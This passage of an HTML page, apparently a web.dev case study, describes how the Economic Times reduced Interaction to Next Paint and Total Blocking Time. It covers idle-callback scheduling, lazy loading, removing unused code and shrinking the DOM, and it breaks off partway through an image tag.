1.5v-8.8h1.8V95h.1c.2-.3.4-.5.7-.8s.6-.4.9-.5c.4-.1.7-.2 1.1-.2.7 0 1.2.2 1.7.5s.8.7 1 1.2c.3-.5.7-.8 1.2-1.2.5-.3 1.1-.5 1.8-.5 1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.5v5.7h-1.9v-5.4c0-.7-.2-1.2-.5-1.5-.3-.3-.7-.5-1.3-.5-.4 0-.8.1-1.1.4-.3.2-.6.6-.8 1s-.3.9-.3 1.3v4.7h-1.9v-5.4c0-.7-.2-1.2-.5-1.5-.3-.3-.8-.5-1.3-.5-.4 0-.8.1-1.1.4-.3.2-.6.6-.7 1s-.3.9-.3 1.3v4.7h-1.7zm18.6.3c-.7 0-1.3-.1-1.8-.3-.5-.2-.9-.5-1.3-.9-.3-.4-.6-.8-.7-1.2l1.7-.7c.2.5.5.8.9 1.1.4.2.8.4 1.3.4s.9-.1 1.2-.2c.3-.2.5-.4.5-.8 0-.2-.1-.5-.2-.6-.2-.2-.4-.3-.6-.4l-.9-.3-1.1-.2c-.4-.1-.8-.3-1.2-.5-.4-.2-.7-.5-.9-.9-.2-.4-.3-.8-.3-1.2 0-.5.2-1 .5-1.4.3-.4.7-.7 1.2-.9.5-.2 1.1-.3 1.7-.3.6 0 1.1.1 1.5.2.5.1.9.3 1.2.6.3.3.6.6.8 1l-1.6.7c-.2-.4-.5-.7-.8-.8-.3-.2-.7-.2-1.1-.2-.4 0-.8.1-1.1.3-.3.2-.4.4-.4.7 0 .3.1.5.4.7.3.2.6.3 1 .4l1.3.3c.9.2 1.5.6 2 1 .4.4.7 1 .7 1.6 0 .6-.2 1.1-.5 1.5-.3.4-.8.7-1.3 1-.8.2-1.4.3-2.1.3zM0 113.3V99h1.7v14.3H0zm4.6 0v-10.2h1.6v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V107c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7H4.6zm10-10.2h6v1.5h-6v-1.5zm1.8 7.5v-10.4h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.5-.5-.7-1.2-.7-2.1zm10.3 3c-1 0-1.9-.2-2.6-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.6-1.7-.6-2.8 0-1 .2-1.9.6-2.7.4-.8 1-1.5 1.7-2s1.6-.8 2.6-.8 1.9.2 2.6.7c.7.4 1.3 1.1 1.7 1.8.4.8.6 1.7.6 2.7v.5h-8.8V107h7c0-.3-.1-.6-.2-.9-.1-.3-.3-.6-.5-.9-.2-.3-.6-.5-.9-.7-.4-.2-.8-.3-1.4-.3-.7 0-1.2.2-1.7.5s-.8.8-1.1 1.4c-.3.6-.4 1.2-.4 2 0 .9.2 1.6.5 2.2.3.6.8 1 1.3 1.3.5.3 1.1.4 1.7.4.8 0 1.4-.2 1.8-.5.5-.4.9-.8 1.2-1.3l1.4.7c-.4.8-1 1.4-1.7 1.9-1 .5-1.9.8-3 .8zm6.7-.3v-10.2H35v1.6h.1c.1-.4.4-.7.7-1 .3-.3.7-.5 1.1-.7.4-.2.8-.2 1.2-.2h.7c.2 0 .3.1.5.2v1.8c-.2-.1-.5-.2-.7-.2-.2-.1-.5-.1-.7-.1-.5 0-1 .1-1.4.4-.4.3-.7.7-1 1.1-.2.5-.4 1-.4 1.5v5.7h-1.7zm10.4.3c-.8 0-1.4-.1-2-.4-.6-.3-1-.7-1.3-1.2-.3-.5-.5-1.1-.5-1.8 0-.8.2-1.4.6-1.9.4-.5.9-.9 1.5-1.2.7-.3 1.4-.4 2.2-.4.4 0 .9 0 1.2.1.4.1.7.2 1 .3.3.1.5.2.7.3v-.6c0-.8-.3-1.4-.8-1.8-.5-.5-1.2-.7-2-.7-.6 0-1.1.1-1.6.4-.5.2-.9.6-1.1 1l-1.3-1c.3-.4.6-.7 1-1 .4-.3.9-.5 1.4-.7.5-.2 1.1-.2 1.6-.2 1.4 0 2.5.4 3.2 1.1.8.7 1.2 1.7 1.2 3v6.5h-1.6v-1.5h-.1c-.2.3-.4.6-.7.8-.3.3-.7.5-1.1.7-.5.1-1 .2-1.5.2zm.1-1.5c.6 0 1.1-.1 1.6-.4.5-.3.9-.7 1.2-1.2.3-.5.5-1 .5-1.6-.3-.2-.7-.4-1.2-.5-.5-.1-1-.2-1.5-.2-1 0-1.7.2-2.1.6-.4.4-.7.9-.7 1.5s.2 1 .6 1.4c.4.2 1 .4 1.6.4zm11.7 1.5c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-2 .7-2.8.4-.8 1.1-1.5 1.8-1.9.8-.5 1.7-.7 2.7-.7 1.1 0 2.1.3 2.8.8.7.5 1.3 1.2 1.6 2l-1.5.6c-.2-.6-.6-1.1-1.1-1.4-.5-.3-1.1-.5-1.8-.5-.6 0-1.2.2-1.7.5s-.9.8-1.2 1.4c-.3.6-.5 1.3-.5 2 0 .8.2 1.4.5 2 .3.6.7 1 1.2 1.4.5.3 1.1.5 1.7.5.7 0 1.3-.2 1.9-.5.5-.3.9-.8 1.2-1.4l1.5.6c-.3.8-.9 1.5-1.6 2-.9.5-1.8.8-3 .8zm5.5-10.5h6v1.5h-6v-1.5zm1.8 7.5v-10.4h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.5-.7-1.2-.7-2.1zm6.5 2.7v-10.2h1.7v10.2h-1.7zm.9-12.1c-.3 0-.6-.1-.9-.4-.2-.2-.4-.5-.4-.9 0-.3.1-.6.4-.9.2-.2.5-.4.9-.4.3 0 .6.1.9.4.2.2.4.5.4.9 0 .3-.1.6-.4.9-.3.3-.6.4-.9.4zm8.1 12.4c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-1.9.7-2.8.4-.8 1.1-1.5 1.8-2 .8-.5 1.7-.7 2.7-.7 1 0 1.9.2 2.7.7.8.5 1.4 1.1 1.9 2 .4.8.7 1.7.7 2.7 0 1-.2 1.9-.7 2.8-.4.8-1.1 1.5-1.9 1.9-.8.5-1.7.8-2.7.8zm0-1.6c.6 0 1.2-.2 1.7-.5s1-.8 1.3-1.3c.3-.6.5-1.3.5-2.1s-.2-1.5-.5-2.1c-.3-.6-.8-1-1.3-1.3-.5-.3-1.1-.5-1.7-.5-.6 0-1.2.2-1.7.5s-1 .7-1.3 1.3c-.3.6-.5 1.3-.5 2.1s.2 1.5.5 2.1c.3.6.8 1 1.3 1.3.5.4 1.1.5 1.7.5zm7 1.3v-10.2H87v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V107c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7h-1.7zm15.1-10.2h6v1.5h-6v-1.5zm1.8 7.5v-10.4h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.5-.7-1.2-.7-2.1zm10.5 3c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-1.9.7-2.8.4-.8 1.1-1.5 1.8-2 .8-.5 1.7-.7 2.7-.7 1 0 1.9.2 2.7.7.8.5 1.4 1.1 1.9 2 .4.8.7 1.7.7 2.7 0 1-.2 1.9-.7 2.8-.4.8-1.1 1.5-1.9 1.9-.8.5-1.7.8-2.7.8zm0-1.6c.6 0 1.2-.2 1.7-.5s1-.8 1.3-1.3c.3-.6.5-1.3.5-2.1s-.2-1.5-.5-2.1c-.3-.6-.8-1-1.3-1.3-.5-.3-1.1-.5-1.7-.5-.6 0-1.2.2-1.7.5s-1 .7-1.3 1.3c-.3.6-.5 1.3-.5 2.1s.2 1.5.5 2.1c.3.6.8 1 1.3 1.3.5.4 1.1.5 1.7.5zm12.2 1.3V99h2.1l7.2 11.4h.1l-.1-2.8V99h1.7v14.3h-1.8l-7.5-11.9h-.1l.1 2.8v9.2H125zm18.2.3c-1 0-1.9-.2-2.6-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.6-1.7-.6-2.8 0-1 .2-1.9.6-2.7.4-.8 1-1.5 1.7-2s1.6-.8 2.6-.8 1.9.2 2.6.7c.7.4 1.3 1.1 1.7 1.8.4.8.6 1.7.6 2.7v.5h-8.8V107h7c0-.3-.1-.6-.2-.9-.1-.3-.3-.6-.5-.9-.2-.3-.6-.5-.9-.7-.4-.2-.8-.3-1.4-.3-.7 0-1.2.2-1.7.5s-.8.8-1.1 1.4c-.3.6-.4 1.2-.4 2 0 .9.2 1.6.5 2.2.3.6.8 1 1.3 1.3.5.3 1.1.4 1.7.4.8 0 1.4-.2 1.8-.5.5-.4.9-.8 1.2-1.3l1.4.7c-.4.8-1 1.4-1.7 1.9-1 .5-1.9.8-3 .8zm5.5-.3 4.1-5.9h.2l2.9-4.3h2l-4 5.6h-.1l-3.1 4.6h-2zm.1-10.2h1.9l3.2 4.5h.1l4 5.7h-2l-3-4.5h-.1l-4.1-5.7zm9.9 0h6v1.5h-6v-1.5zm1.8 7.5v-10.4h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.5-.7-1.2-.7-2.1zm11.2 2.7V99h4.8c.8 0 1.5.2 2.2.5.7.4 1.2.8 1.6 1.5.4.6.6 1.4.6 2.2 0 .8-.2 1.6-.6 2.2-.4.6-.9 1.1-1.6 1.5-.7.4-1.4.5-2.2.5h-3.9v-1.6h4c.6 0 1-.1 1.4-.4.4-.3.7-.6.9-1 .2-.4.3-.8.3-1.2 0-.4-.1-.8-.3-1.2-.2-.4-.5-.7-.9-1-.4-.3-.9-.4-1.4-.4h-3.2v12.7h-1.7zm14 .3c-.8 0-1.4-.1-2-.4-.6-.3-1-.7-1.3-1.2-.3-.5-.5-1.1-.5-1.8 0-.8.2-1.4.6-1.9.4-.5.9-.9 1.5-1.2.7-.3 1.4-.4 2.2-.4.4 0 .9 0 1.2.1.4.1.7.2 1 .3.3.1.5.2.7.3v-.6c0-.8-.3-1.4-.8-1.8-.5-.5-1.2-.7-2-.7-.6 0-1.1.1-1.6.4-.5.2-.9.6-1.1 1l-1.3-1c.3-.4.6-.7 1-1 .4-.3.9-.5 1.4-.7.5-.2 1.1-.2 1.6-.2 1.4 0 2.5.4 3.2 1.1.8.7 1.2 1.7 1.2 3v6.5h-1.6v-1.5h-.1c-.2.3-.4.6-.7.8-.3.3-.7.5-1.1.7-.5.1-.9.2-1.5.2zm.2-1.5c.6 0 1.1-.1 1.6-.4.5-.3.9-.7 1.2-1.2.3-.5.5-1 .5-1.6-.3-.2-.7-.4-1.2-.5-.5-.1-1-.2-1.5-.2-1 0-1.7.2-2.1.6-.4.4-.7.9-.7 1.5s.2 1 .6 1.4c.4.2 1 .4 1.6.4zm7.4 1.2v-10.2h1.7v10.2h-1.7zm.8-12.1c-.3 0-.6-.1-.9-.4-.2-.2-.4-.5-.4-.9 0-.3.1-.6.4-.9.2-.2.5-.4.9-.4.3 0 .6.1.9.4.2.2.4.5.4.9 0 .3-.1.6-.4.9-.3.3-.5.4-.9.4zm3.5 12.1v-10.2h1.6v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V107c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7h-1.7zm10-10.2h6v1.5h-6v-1.5zm1.8 7.5v-10.4h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.5-.7-1.2-.7-2.1zM418.1 55.2c-1.8 0-3.3 1.5-3.3 3.3 0 1.5 1 2.7 2.3 3.1V83h2V61.6c1.3-.4 2.3-1.7 2.3-3.1 0-1.8-1.5-3.3-3.3-3.3zM546.5 58.6c0-1.8-1.5-3.3-3.3-3.3s-3.3 1.5-3.3 3.3c0 1.5 1 2.7 2.3 3.1v21.2h2V61.7c1.3-.4 2.3-1.6 2.3-3.1z"></path></svg>
</figure>
<h2 id="the-fuzzy-beginning">The fuzzy beginning <a class="headline-link" href="https://web.dev/economic-times-inp/#the-fuzzy-beginning">#</a></h2>
<p>When Google initially introduced INP as an experimental metric with the potential to evolve into one of the Core Web Vitals metrics, the Economic Times team took up the challenge to fix it before it graduates into one, since providing a world class user experience is crucial to our core business values.</p>
<p>INP has been one of the most difficult metrics to solve thus far. In the beginning, it was unclear on how to measure INP effectively. What made it more difficult was the lack of community support—including most Real User Monitoring (RUM) providers not supporting it yet. However, we had Google RUM tools like <a href="https://developer.chrome.com/docs/crux/about/" rel="noopener">Chrome User Experience Report (CrUX)</a>, the <a href="https://github.com/GoogleChrome/web-vitals" rel="noopener"><code>web-vitals</code> JavaScript library</a>, and others supporting it, which gave us a sense of where we stood while we were evaluating the path ahead. Our INP was close to 1,000 milliseconds at the origin level when we started.</p>
<p>One thing that emerged while fixing INP in <a href="https://web.dev/find-slow-interactions-in-the-field/">the field</a> was that one of the lab metrics to target could be <a href="https://web.dev/tbt/">Total Blocking Time (TBT)</a>. TBT was already well documented and supported by the community. Despite already meeting the thresholds for Core Web Vitals, however, we weren't doing as well on the TBT front, as it was over 3 seconds when we began.</p>
<h2 id="what-is-tbt,-and-what-steps-did-we-take-to-improve-it">What is TBT, and what steps did we take to improve it? <a class="headline-link" href="https://web.dev/economic-times-inp/#what-is-tbt,-and-what-steps-did-we-take-to-improve-it">#</a></h2>
<p>TBT is a lab metric that measures the responsiveness of a web page to user input during page load. Any task that takes more than 50 milliseconds to execute is considered a long task, and the time after the 50 millisecond threshold is known as the <strong>blocking time</strong>.</p>
<p>TBT is calculated by taking the sum of the blocking time of all long tasks during page load. For example, if there are two long tasks during load, the blocking time is determined as follows:</p>
<ul>
<li>Task A takes 80 milliseconds (30 milliseconds more than 50 milliseconds).</li>
<li>Task B takes 100 milliseconds (50 milliseconds more than 50 milliseconds).</li>
</ul>
<p>The page's TBT will be: 80 milliseconds (30 + 50). The lower the TBT, the better, and TBT also <a href="https://almanac.httparchive.org/en/2022/performance#inp-and-tbt" rel="noopener">correlates well with INP</a>.</p>
<p>Here’s a quick lab comparison of our TBT before and after taking steps to improve it:</p>
<figure>
  <img alt="A composite image of long tasks during startup as shown in the performance panel of Chrome DevTools, and a report of page metrics. The main thread is blocked during page load for 3,260 milliseconds." decoding="async" height="502" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/UfZ9zaCLHjCMcPg74xHV.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    The main thread during startup before optimizing TBT. The TBT is 3,260 milliseconds.
  </figcaption>
</figure>
<figure>
  <img alt="A composite image of long tasks during startup as shown in the performance panel of Chrome DevTools, and a report of page metrics. The main thread is blocked during page load for 120 milliseconds." decoding="async" height="701" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/RLx2y7zTItkaklqxSG17.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    The main thread during startup after optimizing TBT. The TBT is 120 milliseconds.
  </figcaption>
</figure>
<h3 id="minimize-main-thread-work">Minimize main thread work <a class="headline-link" href="https://web.dev/economic-times-inp/#minimize-main-thread-work">#</a></h3>
<p>The browser’s main thread handles everything from parsing HTML, building the DOM, to parsing CSS and applying styles, as well as evaluating and executing JavaScript. The main thread also handles user interactions—that is, click, tap, and keypresses. If the main thread is occupied with doing other work, it may not respond to user inputs efficiently, and may lead to a janky user experience.</p>
<p>This was the most difficult task for us, since we have our own algorithms to detect user identity for serving ads based on subscription status and third party scripts for A/B testing, analytics, and more.</p>
<p>We took small steps at first, such as de-prioritizing loading of less critical business assets. Second, we used <a href="https://developer.mozilla.org/docs/Web/API/Window/requestIdleCallback" rel="noopener"><code>requestIdleCallback</code></a> for non-critical work, which can help to reduce TBT.</p>
<div><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token string">'requestIdleCallback'</span> <span class="token keyword">in</span> window<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />  <span class="token keyword">this</span><span class="token punctuation">.</span>requestIdleCallbackId <span class="token operator">=</span> <span class="token function">requestIdleCallback</span><span class="token punctuation">(</span><span class="token function">fetchMarketsData</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">timeout</span><span class="token operator">:</span> <span class="token number">3000</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br /><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span><br />  <span class="token function">fetchMarketsData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Fallback in case requestIdleCallback is not supported</span><br /><span class="token punctuation">}</span></code></pre>
</div><p>Specifying a timeout is recommended when using <code>requestIdleCallback</code>, since it makes sure that if the given time is elapsed and the callback is not already been called, it executes the callback immediately after the timeout.</p>
<h3 id="minimize-script-evaluation-time">Minimize script evaluation time <a class="headline-link" href="https://web.dev/economic-times-inp/#minimize-script-evaluation-time">#</a></h3>
<p>We also lazy loaded third party libraries using <a href="https://loadable-components.com/" rel="noopener">Loadable components</a>. We also removed unused JavaScript and CSS by profiling the page with the <a href="https://developer.chrome.com/docs/devtools/coverage/" rel="noopener">coverage tool</a> in Chrome DevTools. It helped us to identify areas where <a href="https://webpack.js.org/guides/tree-shaking/" rel="noopener">tree shaking</a> was needed to ship less code during page load, and therefore reduce the initial bundle size of the application.</p>
<figure>
  <img alt="A screenshot of the coverage tool in Chrome DevTools. Here, the tool displays unused portions of JavaScript and CSS files during page load." decoding="async" height="100" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/uynCVTUjcv4ujJva41PS.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h3 id="reduce-dom-size">Reduce DOM size <a class="headline-link" href="https://web.dev/economic-times-inp/#reduce-dom-size">#</a></h3>
<p>Per Lighthouse, large DOM sizes increase memory usage, causes longer <a href="https://web.dev/economic-times-inp/reduce-the-scope-and-complexity-of-style-calculations/">style recalculations</a>, and produces costly <a href="https://developers.google.com/speed/docs/insights/browser-reflow" rel="noopener">layout reflows</a>.</p>
<figure>
  <img alt="A screenshot of the DOM size audit in Lighthouse. The number of DOM elements reported is 2,706 elements." decoding="async" height="86" loading="lazy" sizes="(min-width: 712px) 712px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=741 741w, 